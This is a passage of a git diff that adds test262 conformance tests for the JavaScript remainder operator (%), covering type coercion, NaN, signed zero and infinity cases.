+ $ERROR('#4: new String("1") % new String("1") === 0. Actual: ' + (new String("1") % new String("1")));
+}
+
+//CHECK#5
+if (isNaN("x" % "1") !== true) {
+ $ERROR('#5: "x" % "1" === Not-a-Number. Actual: ' + ("x" % "1"));
+}
+
+//CHECK#6
+if (isNaN("1" % "x") !== true) {
+ $ERROR('#6: "1" % "x" === Not-a-Number. Actual: ' + ("1" % "x"));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T1.4.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T1.4.js
new file mode 100644
index 000000000..0af53ef4e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T1.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x % y returns ToNumber(x) % ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A3_T1.4.js
+ * @description Type(x) and Type(y) vary between Null and Undefined
+ */
+
+//CHECK#1
+if (isNaN(null % undefined) !== true) {
+ $ERROR('#1: null % undefined === Not-a-Number. Actual: ' + (null % undefined));
+}
+
+//CHECK#2
+if (isNaN(undefined % null) !== true) {
+ $ERROR('#2: undefined % null === Not-a-Number. Actual: ' + (undefined % null));
+}
+
+//CHECK#3
+if (isNaN(undefined % undefined) !== true) {
+ $ERROR('#3: undefined % undefined === Not-a-Number. Actual: ' + (undefined % undefined));
+}
+
+//CHECK#4
+if (isNaN(null % null) !== true) {
+ $ERROR('#4: null % null === Not-a-Number. Actual: ' + (null % null));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T1.5.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T1.5.js
new file mode 100644
index 000000000..85cbbecf2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T1.5.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x % y returns ToNumber(x) % ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A3_T1.5.js
+ * @description Type(x) and Type(y) vary between Object object and Function object
+ */
+
+//CHECK#1
+if (isNaN({} % function(){return 1}) !== true) {
+ $ERROR('#1: {} % function(){return 1} === Not-a-Number. Actual: ' + ({} % function(){return 1}));
+}
+
+//CHECK#2
+if (isNaN(function(){return 1} % {}) !== true) {
+ $ERROR('#2: function(){return 1} % {} === Not-a-Number. Actual: ' + (function(){return 1} % {}));
+}
+
+//CHECK#3
+if (isNaN(function(){return 1} % function(){return 1}) !== true) {
+ $ERROR('#3: function(){return 1} % function(){return 1} === Not-a-Number. Actual: ' + (function(){return 1} % function(){return 1}));
+}
+
+//CHECK#4
+if (isNaN({} % {}) !== true) {
+ $ERROR('#4: {} % {} === Not-a-Number. Actual: ' + ({} % {}));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.1.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.1.js
new file mode 100644
index 000000000..4cde92634
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.1.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x % y returns ToNumber(x) % ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A3_T2.1.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if (true % 1 !== 0) {
+ $ERROR('#1: true % 1 === 0. Actual: ' + (true % 1));
+}
+
+//CHECK#2
+if (1 % true !== 0) {
+ $ERROR('#2: 1 % true === 0. Actual: ' + (1 % true));
+}
+
+//CHECK#3
+if (new Boolean(true) % 1 !== 0) {
+ $ERROR('#3: new Boolean(true) % 1 === 0. Actual: ' + (new Boolean(true) % 1));
+}
+
+//CHECK#4
+if (1 % new Boolean(true) !== 0) {
+ $ERROR('#4: 1 % new Boolean(true) === 0. Actual: ' + (1 % new Boolean(true)));
+}
+
+//CHECK#5
+if (true % new Number(1) !== 0) {
+ $ERROR('#5: true % new Number(1) === 0. Actual: ' + (true % new Number(1)));
+}
+
+//CHECK#6
+if (new Number(1) % true !== 0) {
+ $ERROR('#6: new Number(1) % true === 0. Actual: ' + (new Number(1) % true));
+}
+
+//CHECK#7
+if (new Boolean(true) % new Number(1) !== 0) {
+ $ERROR('#7: new Boolean(true) % new Number(1) === 0. Actual: ' + (new Boolean(true) % new Number(1)));
+}
+
+//CHECK#8
+if (new Number(1) % new Boolean(true) !== 0) {
+ $ERROR('#8: new Number(1) % new Boolean(true) === 0. Actual: ' + (new Number(1) % new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.2.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.2.js
new file mode 100644
index 000000000..6196513ce
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x % y returns ToNumber(x) % ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A3_T2.2.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+if ("1" % 1 !== 0) {
+ $ERROR('#1: "1" % 1 === 0. Actual: ' + ("1" % 1));
+}
+
+//CHECK#2
+if (1 % "1" !== 0) {
+ $ERROR('#2: 1 % "1" === 0. Actual: ' + (1 % "1"));
+}
+
+//CHECK#3
+if (new String("1") % 1 !== 0) {
+ $ERROR('#3: new String("1") % 1 === 0. Actual: ' + (new String("1") % 1));
+}
+
+//CHECK#4
+if (1 % new String("1") !== 0) {
+ $ERROR('#4: 1 % new String("1") === 0. Actual: ' + (1 % new String("1")));
+}
+
+//CHECK#5
+if ("1" % new Number(1) !== 0) {
+ $ERROR('#5: "1" % new Number(1) === 0. Actual: ' + ("1" % new Number(1)));
+}
+
+//CHECK#6
+if (new Number(1) % "1" !== 0) {
+ $ERROR('#6: new Number(1) % "1" === 0. Actual: ' + (new Number(1) % "1"));
+}
+
+//CHECK#7
+if (new String("1") % new Number(1) !== 0) {
+ $ERROR('#7: new String("1") % new Number(1) === 0. Actual: ' + (new String("1") % new Number(1)));
+}
+
+//CHECK#8
+if (new Number(1) % new String("1") !== 0) {
+ $ERROR('#8: new Number(1) % new String("1") === 0. Actual: ' + (new Number(1) % new String("1")));
+}
+
+//CHECK#9
+if (isNaN("x" % 1) !== true) {
+ $ERROR('#9: "x" % 1 === Not-a-Number. Actual: ' + ("x" % 1));
+}
+
+//CHECK#10
+if (isNaN(1 % "x") !== true) {
+ $ERROR('#10: 1 % "x" === Not-a-Number. Actual: ' + (1 % "x"));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.3.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.3.js
new file mode 100644
index 000000000..c6f32f2b4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.3.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x % y returns ToNumber(x) % ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A3_T2.3.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+if (isNaN(1 % null) !== true) {
+ $ERROR('#1: 1 % null === Not-a-Number. Actual: ' + (1 % null));
+}
+
+//CHECK#2
+if (null % 1 !== 0) {
+ $ERROR('#2: null % 1 === 0. Actual: ' + (null % 1));
+}
+
+//CHECK#3
+if (isNaN(new Number(1) % null) !== true) {
+ $ERROR('#3: new Number(1) % null === Not-a-Number. Actual: ' + (new Number(1) % null));
+}
+
+//CHECK#4
+if (null % new Number(1) !== 0) {
+ $ERROR('#4: null % new Number(1) === 0. Actual: ' + (null % new Number(1)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.4.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.4.js
new file mode 100644
index 000000000..4abfc2c0f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x % y returns ToNumber(x) % ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A3_T2.4.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (isNaN(1 % undefined) !== true) {
+ $ERROR('#1: 1 % undefined === Not-a-Number. Actual: ' + (1 % undefined));
+}
+
+//CHECK#2
+if (isNaN(undefined % 1) !== true) {
+ $ERROR('#2: undefined % 1 === Not-a-Number. Actual: ' + (undefined % 1));
+}
+
+//CHECK#3
+if (isNaN(new Number(1) % undefined) !== true) {
+ $ERROR('#3: new Number(1) % undefined === Not-a-Number. Actual: ' + (new Number(1) % undefined));
+}
+
+//CHECK#4
+if (isNaN(undefined % new Number(1)) !== true) {
+ $ERROR('#4: undefined % new Number(1) === Not-a-Number. Actual: ' + (undefined % new Number(1)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.5.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.5.js
new file mode 100644
index 000000000..951f4c68c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.5.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x % y returns ToNumber(x) % ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A3_T2.5.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if (true % "1" !== 0) {
+ $ERROR('#1: true % "1" === 0. Actual: ' + (true % "1"));
+}
+
+//CHECK#2
+if ("1" % true !== 0) {
+ $ERROR('#2: "1" % true === 0. Actual: ' + ("1" % true));
+}
+
+//CHECK#3
+if (new Boolean(true) % "1" !== 0) {
+ $ERROR('#3: new Boolean(true) % "1" === 0. Actual: ' + (new Boolean(true) % "1"));
+}
+
+//CHECK#4
+if ("1" % new Boolean(true) !== 0) {
+ $ERROR('#4: "1" % new Boolean(true) === 0. Actual: ' + ("1" % new Boolean(true)));
+}
+
+//CHECK#5
+if (true % new String("1") !== 0) {
+ $ERROR('#5: true % new String("1") === 0. Actual: ' + (true % new String("1")));
+}
+
+//CHECK#6
+if (new String("1") % true !== 0) {
+ $ERROR('#6: new String("1") % true === 0. Actual: ' + (new String("1") % true));
+}
+
+//CHECK#7
+if (new Boolean(true) % new String("1") !== 0) {
+ $ERROR('#7: new Boolean(true) % new String("1") === 0. Actual: ' + (new Boolean(true) % new String("1")));
+}
+
+//CHECK#8
+if (new String("1") % new Boolean(true) !== 0) {
+ $ERROR('#8: new String("1") % new Boolean(true) === 0. Actual: ' + (new String("1") % new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.6.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.6.js
new file mode 100644
index 000000000..973fe5263
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.6.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x % y returns ToNumber(x) % ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A3_T2.6.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (isNaN("1" % undefined) !== true) {
+ $ERROR('#1: "1" % undefined === Not-a-Number. Actual: ' + ("1" % undefined));
+}
+
+//CHECK#2
+if (isNaN(undefined % "1") !== true) {
+ $ERROR('#2: undefined % "1" === Not-a-Number. Actual: ' + (undefined % "1"));
+}
+
+//CHECK#3
+if (isNaN(new String("1") % undefined) !== true) {
+ $ERROR('#3: new String("1") % undefined === Not-a-Number. Actual: ' + (new String("1") % undefined));
+}
+
+//CHECK#4
+if (isNaN(undefined % new String("1")) !== true) {
+ $ERROR('#4: undefined % new String("1") === Not-a-Number. Actual: ' + (undefined % new String("1")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.7.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.7.js
new file mode 100644
index 000000000..baa8a90e4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.7.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x % y returns ToNumber(x) % ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A3_T2.7.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+if (isNaN("1" % null) !== true) {
+ $ERROR('#1: "1" % null === Not-a-Number. Actual: ' + ("1" % null));
+}
+
+//CHECK#2
+if (null % "1" !== 0) {
+ $ERROR('#2: null % "1" === 0. Actual: ' + (null % "1"));
+}
+
+//CHECK#3
+if (isNaN(new String("1") % null) !== true) {
+ $ERROR('#3: new String("1") % null === Not-a-Number. Actual: ' + (new String("1") % null));
+}
+
+//CHECK#4
+if (null % new String("1") !== 0) {
+ $ERROR('#4: null % new String("1") === 0. Actual: ' + (null % new String("1")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.8.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.8.js
new file mode 100644
index 000000000..54e229b09
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.8.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x % y returns ToNumber(x) % ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A3_T2.8.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (isNaN(true % undefined) !== true) {
+ $ERROR('#1: true % undefined === Not-a-Number. Actual: ' + (true % undefined));
+}
+
+//CHECK#2
+if (isNaN(undefined % true) !== true) {
+ $ERROR('#2: undefined % true === Not-a-Number. Actual: ' + (undefined % true));
+}
+
+//CHECK#3
+if (isNaN(new Boolean(true) % undefined) !== true) {
+ $ERROR('#3: new Boolean(true) % undefined === Not-a-Number. Actual: ' + (new Boolean(true) % undefined));
+}
+
+//CHECK#4
+if (isNaN(undefined % new Boolean(true)) !== true) {
+ $ERROR('#4: undefined % new Boolean(true) === Not-a-Number. Actual: ' + (undefined % new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.9.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.9.js
new file mode 100644
index 000000000..3ff69f285
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T2.9.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x % y returns ToNumber(x) % ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A3_T2.9.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+if (isNaN(true % null) !== true) {
+ $ERROR('#1: true % null === Not-a-Number. Actual: ' + (true % null));
+}
+
+//CHECK#2
+if (null % true !== 0) {
+ $ERROR('#2: null % true === 0. Actual: ' + (null % true));
+}
+
+//CHECK#3
+if (isNaN(new Boolean(true) % null) !== true) {
+ $ERROR('#3: new Boolean(true) % null === Not-a-Number. Actual: ' + (new Boolean(true) % null));
+}
+
+//CHECK#4
+if (null % new Boolean(true) !== 0) {
+ $ERROR('#4: null % new Boolean(true) === 0. Actual: ' + (null % new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A4_T1.1.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A4_T1.1.js
new file mode 100644
index 000000000..b2ad39088
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A4_T1.1.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of a ECMAScript floating-point remainder operation is determined by the rules of IEEE arithmetics
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A4_T1.1.js
+ * @description If either operand is NaN, the result is NaN
+ */
+
+//CHECK#1
+if (isNaN(Number.NaN % Number.NaN) !== true) {
+ $ERROR('#1: NaN % NaN === Not-a-Number. Actual: ' + (NaN % NaN));
+}
+
+//CHECK#2
+if (isNaN(Number.NaN % +0) !== true) {
+ $ERROR('#2: NaN % +0 === Not-a-Number. Actual: ' + (NaN % +0));
+}
+
+//CHECK#3
+if (isNaN(Number.NaN % -0) !== true) {
+ $ERROR('#3: NaN % -0 === Not-a-Number. Actual: ' + (NaN % -0));
+}
+
+//CHECK#4
+if (isNaN(Number.NaN % Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#4: NaN % Infinity === Not-a-Number. Actual: ' + (NaN % Infinity));
+}
+
+//CHECK#5
+if (isNaN(Number.NaN % Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#5: NaN % -Infinity === Not-a-Number. Actual: ' + (NaN % -Infinity));
+}
+
+//CHECK#6
+if (isNaN(Number.NaN % Number.MAX_VALUE) !== true) {
+ $ERROR('#6: NaN % Number.MAX_VALUE === Not-a-Number. Actual: ' + (NaN % Number.MAX_VALUE));
+}
+
+//CHECK#7
+if (isNaN(Number.NaN % Number.MIN_VALUE) !== true) {
+ $ERROR('#7: NaN % Number.MIN_VALUE === Not-a-Number. Actual: ' + (NaN % Number.MIN_VALUE));
+}
+
+//CHECK#8
+if (isNaN(Number.NaN % 1) !== true) {
+ $ERROR('#8: NaN % 1 === Not-a-Number. Actual: ' + (NaN % 1));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A4_T1.2.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A4_T1.2.js
new file mode 100644
index 000000000..2b7da808e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A4_T1.2.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of a ECMAScript floating-point remainder operation is determined by the rules of IEEE arithmetics
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A4_T1.2.js
+ * @description If either operand is NaN, the result is NaN
+ */
+
+//CHECK#1
+if (isNaN(Number.NaN % Number.NaN) !== true) {
+ $ERROR('#1: NaN % NaN === Not-a-Number. Actual: ' + (NaN % NaN));
+}
+
+//CHECK#2
+if (isNaN(+0 % Number.NaN) !== true) {
+ $ERROR('#2: +0 % NaN === Not-a-Number. Actual: ' + (+0 % NaN));
+}
+
+//CHECK#3
+if (isNaN(-0 % Number.NaN) !== true) {
+ $ERROR('#3: -0 % NaN === Not-a-Number. Actual: ' + (-0 % NaN));
+}
+
+//CHECK#4
+if (isNaN(Number.POSITIVE_INFINITY % Number.NaN) !== true) {
+ $ERROR('#4: Infinity % NaN === Not-a-Number. Actual: ' + (Infinity % NaN));
+}
+
+//CHECK#5
+if (isNaN(Number.NEGATIVE_INFINITY % Number.NaN) !== true) {
+ $ERROR('#5: -Infinity % NaN === Not-a-Number. Actual: ' + ( -Infinity % NaN));
+}
+
+//CHECK#6
+if (isNaN(Number.MAX_VALUE % Number.NaN) !== true) {
+ $ERROR('#6: Number.MAX_VALUE % NaN === Not-a-Number. Actual: ' + (Number.MAX_VALUE % NaN));
+}
+
+//CHECK#7
+if (isNaN(Number.MIN_VALUE % Number.NaN) !== true) {
+ $ERROR('#7: Number.MIN_VALUE % NaN === Not-a-Number. Actual: ' + (Number.MIN_VALUE % NaN));
+}
+
+//CHECK#8
+if (isNaN(1 % Number.NaN) !== true) {
+ $ERROR('#8: 1 % NaN === Not-a-Number. Actual: ' + (1 % NaN));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A4_T2.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A4_T2.js
new file mode 100644
index 000000000..ce2051688
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A4_T2.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of a ECMAScript floating-point remainder operation is determined by the rules of IEEE arithmetics
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A4_T2.js
+ * @description The sign of the finite non-zero value result equals the sign of the divided
+ */
+
+//CHECK#1
+if (1 % 1 !== 0) {
+ $ERROR('#1.1: 1 % 1 === 0. Actual: ' + (1 % 1));
+} else {
+ if (1 / (1 % 1) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1.2: 1 % 1 === + 0. Actual: -0');
+ }
+}
+
+//CHECK#2
+if (-1 % -1 !== -0) {
+ $ERROR('#2.1: -1 % -1 === 0. Actual: ' + (-1 % -1));
+} else {
+ if (1 / (-1 % -1) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#2.2: -1 % -1 === - 0. Actual: +0');
+ }
+}
+
+//CHECK#3
+if (-1 % 1 !== -0) {
+ $ERROR('#3.1: -1 % 1 === 0. Actual: ' + (-1 % 1));
+} else {
+ if (1 / (-1 % 1) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#3.2: -1 % 1 === - 0. Actual: +0');
+ }
+}
+
+//CHECK#4
+if (1 % -1 !== 0) {
+ $ERROR('#4.1: 1 % -1 === 0. Actual: ' + (1 % -1));
+} else {
+ if (1 / (1 % -1) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#4.2: 1 % -1 === + 0. Actual: -0');
+ }
+}
+
+//CHECK#5
+if (101 % 51 !== 50) {
+ $ERROR('#5: 101 % 51 === 50. Actual: ' + (101 % 51));
+}
+
+//CHECK#6
+if (101 % -51 !== 50) {
+ $ERROR('#6: 101 % -51 === 50. Actual: ' + (101 % -51));
+}
+
+//CHECK#7
+if (-101 % 51 !== -50) {
+ $ERROR('#7: -101 % 51 === -50. Actual: ' + (-101 % 51));
+}
+
+//CHECK#8
+if (-101 % -51 !== -50) {
+ $ERROR('#8: -101 % -51 === -50. Actual: ' + (-101 % -51));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A4_T3.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A4_T3.js
new file mode 100644
index 000000000..5861cf727
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A4_T3.js
@@ -0,0 +1,70 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of a ECMAScript floating-point remainder operation is determined by the rules of IEEE arithmetics
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A4_T3.js
+ * @description If the dividend is an infinity results is NaN
+ */
+
+//CHECK#1
+if (isNaN(Number.NEGATIVE_INFINITY % Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#1: -Infinity % Infinity === Not-a-Number. Actual: ' + (-Infinity % Infinity));
+}
+
+//CHECK#2
+if (isNaN(Number.NEGATIVE_INFINITY % Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#2: -Infinity % -Infinity === Not-a-Number. Actual: ' + (-Infinity % -Infinity));
+}
+
+//CHECK#3
+if (isNaN(Number.POSITIVE_INFINITY % Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#3: Infinity % Infinity === Not-a-Number. Actual: ' + (Infinity % Infinity));
+}
+
+//CHECK#4
+if (isNaN(Number.POSITIVE_INFINITY % Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#4: Infinity % -Infinity === Not-a-Number. Actual: ' + (Infinity % -Infinity));
+}
+
+//CHECK#5
+if (isNaN(Number.NEGATIVE_INFINITY % 1) !== true) {
+ $ERROR('#5: Infinity % 1 === Not-a-Number. Actual: ' + (Infinity % 1));
+}
+
+//CHECK#6
+if (isNaN(Number.NEGATIVE_INFINITY % -1) !== true) {
+ $ERROR('#6: -Infinity % -1 === Not-a-Number. Actual: ' + (-Infinity % -1));
+}
+
+//CHECK#7
+if (isNaN(Number.POSITIVE_INFINITY % 1) !== true) {
+ $ERROR('#7: Infinity % 1 === Not-a-Number. Actual: ' + (Infinity % 1));
+}
+
+//CHECK#8
+if (isNaN(Number.POSITIVE_INFINITY % -1) !== true) {
+ $ERROR('#8: Infinity % -1 === Not-a-Number. Actual: ' + (Infinity % -1));
+}
+
+//CHECK#9
+if (isNaN(Number.NEGATIVE_INFINITY % Number.MAX_VALUE) !== true) {
+ $ERROR('#9: Infinity % Number.MAX_VALUE === Not-a-Number. Actual: ' + (Infinity % Number.MAX_VALUE));
+}
+
+//CHECK#10
+if (isNaN(Number.NEGATIVE_INFINITY % -Number.MAX_VALUE) !== true) {
+ $ERROR('#10: -Infinity % -Number.MAX_VALUE === Not-a-Number. Actual: ' + (-Infinity % -Number.MAX_VALUE));
+}
+
+//CHECK#11
+if (isNaN(Number.POSITIVE_INFINITY % Number.MAX_VALUE) !== true) {
+ $ERROR('#11: Infinity % Number.MAX_VALUE === Not-a-Number. Actual: ' + (Infinity % Number.MAX_VALUE));
+}
+
+//CHECK#12
+if (isNaN(Number.POSITIVE_INFINITY % -Number.MAX_VALUE) !== true) {
+ $ERROR('#12: Infinity % -Number.MAX_VALUE === Not-a-Number. Actual: ' + (Infinity % -Number.MAX_VALUE));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A4_T4.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A4_T4.js
new file mode 100644
index 000000000..cdf3ebd38
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A4_T4.js
@@ -0,0 +1,90 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of a ECMAScript floating-point remainder operation is determined by the rules of IEEE arithmetics
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A4_T4.js
+ * @description If the divisor is zero results is NaN
+ */
+
+//CHECK#1
+if (isNaN(-0 % 0) !== true) {
+ $ERROR('#1: -0 % 0 === Not-a-Number. Actual: ' + (-0 % 0));
+}
+
+//CHECK#2
+if (isNaN(-0 % -0) !== true) {
+ $ERROR('#2: -0 % -0 === Not-a-Number. Actual: ' + (-0 % -0));
+}
+
+//CHECK#3
+if (isNaN(0 % 0) !== true) {
+ $ERROR('#3: 0 % 0 === Not-a-Number. Actual: ' + (0 % 0));
+}
+
+//CHECK#4
+if (isNaN(0 % -0) !== true) {
+ $ERROR('#4: 0 % -0 === Not-a-Number. Actual: ' + (0 % -0));
+}
+
+//CHECK#5
+if (isNaN(-1 % 0) !== true) {
+ $ERROR('#5: 1 % 0 === Not-a-Number. Actual: ' + (1 % 0));
+}
+
+//CHECK#6
+if (isNaN(-1 % -0) !== true) {
+ $ERROR('#6: -1 % -0 === Not-a-Number. Actual: ' + (-1 % -0));
+}
+
+//CHECK#7
+if (isNaN(1 % 0) !== true) {
+ $ERROR('#7: 1 % 0 === Not-a-Number. Actual: ' + (1 % 0));
+}
+
+//CHECK#8
+if (isNaN(1 % -0) !== true) {
+ $ERROR('#8: 1 % -0 === Not-a-Number. Actual: ' + (1 % -0));
+}
+
+//CHECK#9
+if (isNaN(Number.NEGATIVE_INFINITY % 0) !== true) {
+ $ERROR('#9: Infinity % 0 === Not-a-Number. Actual: ' + (Infinity % 0));
+}
+
+//CHECK#10
+if (isNaN(Number.NEGATIVE_INFINITY % -0) !== true) {
+ $ERROR('#10: -Infinity % -0 === Not-a-Number. Actual: ' + (-Infinity % -0));
+}
+
+//CHECK#11
+if (isNaN(Number.POSITIVE_INFINITY % 0) !== true) {
+ $ERROR('#11: Infinity % 0 === Not-a-Number. Actual: ' + (Infinity % 0));
+}
+
+//CHECK#12
+if (isNaN(Number.POSITIVE_INFINITY % -0) !== true) {
+ $ERROR('#12: Infinity % -0 === Not-a-Number. Actual: ' + (Infinity % -0));
+}
+
+//CHECK#13
+if (isNaN(Number.MIN_VALUE % 0) !== true) {
